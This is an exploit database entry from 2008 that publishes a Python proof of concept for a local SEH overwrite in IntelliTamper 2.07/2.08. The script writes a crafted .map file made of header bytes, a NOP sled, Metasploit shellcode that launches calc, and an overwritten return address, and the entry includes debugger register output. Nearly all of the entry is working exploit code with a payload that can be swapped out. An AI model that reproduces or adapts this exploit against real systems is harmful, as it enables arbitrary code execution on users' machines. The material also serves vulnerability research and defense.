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IntelliTamper Local SEH Overwrite Exploit

🗓️ 31 Dec 2008 00:00:00Reported by Cn4phuxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

IntelliTamper Local SEH Overwrite Exploit with shellcode to execute Windows command (calc

Code
`#!/usr/bin/python  
# IntelliTamper 2.07/2.08 (MAP File) 0-day Local SEH Overwrite Exploit  
# Bug discovered by cN4phux <[email protected]>  
# Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR  
# Shellcode: Windows Execute Command (calc) <metasploit.com>  
# Here's the debugger output like what u see, the EIP overwritten & attempt to read from address 41414141 so the prog must be crashz . .  
# EAX 0015B488 ECX 00123400 EDX 00123610  
# EBX 00000000 ESP 00123604 EBP 00128B78  
# ESI 00000000 EDI 00123A64 EIP 41414141  
#Vive les Algeriens & greatz to friend's : me (XD) Heurs, Djug , Blub , His0k4 , Knuthy , Moorish , Ilyes ,  
#Here's the the Poc :  
  
  
import sys  
map_theader = ((("\x23\x23\x23\x20\x53\x49\x54\x45\x4D"  
"\x41\x50\x31\x20\x49\x4E\x54\x45\x4C"  
"\x4C\x49\x54\x41\x4D\x50\x45\x52\x0D\x0A"))) #junk  
  
map_iheader = "\x46\x49\x4C\x45\x23\x23"  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com  
shellcode = ((("\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"  
"\x91\xc1\x60\x83\xeb\xfc\xe2\xf4\x39\x79\x85\x60\xc5\x91\x4a\x25"  
"\xf9\x1a\xbd\x65\xbd\x90\x2e\xeb\x8a\x89\x4a\x3f\xe5\x90\x2a\x29"  
"\x4e\xa5\x4a\x61\x2b\xa0\x01\xf9\x69\x15\x01\x14\xc2\x50\x0b\x6d"  
"\xc4\x53\x2a\x94\xfe\xc5\xe5\x64\xb0\x74\x4a\x3f\xe1\x90\x2a\x06"  
"\x4e\x9d\x8a\xeb\x9a\x8d\xc0\x8b\x4e\x8d\x4a\x61\x2e\x18\x9d\x44"  
"\xc1\x52\xf0\xa0\xa1\x1a\x81\x50\x40\x51\xb9\x6c\x4e\xd1\xcd\xeb"  
"\xb5\x8d\x6c\xeb\xad\x99\x2a\x69\x4e\x11\x71\x60\xc5\x91\x4a\x08"  
"\xf9\xce\xf0\x96\xa5\xc7\x48\x98\x46\x51\xba\x30\xad\x61\x4b\x64"  
"\x9a\xf9\x59\x9e\x4f\x9f\x96\x9f\x22\xf2\xa0\x0c\xa6\x91\xc1\x60"))); # 160 byte  
  
header_nop = "\x90"*327  
  
retn = "\x7b\x34\x12\x00"+".html\n" # EIP value with 4 byte fix  
  
exploit = map_theader + map_iheader + header_nop + shellcode + retn  
headers = open("0x.map", "w")  
headers.write(exploit)  
headers.close()  
  
print "\nFile created successfully !";  
print "\n\cN4phux.";  
  
  
`

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31 Dec 2008 00:00Current
0.4Low risk
Vulners AI Score0.4
18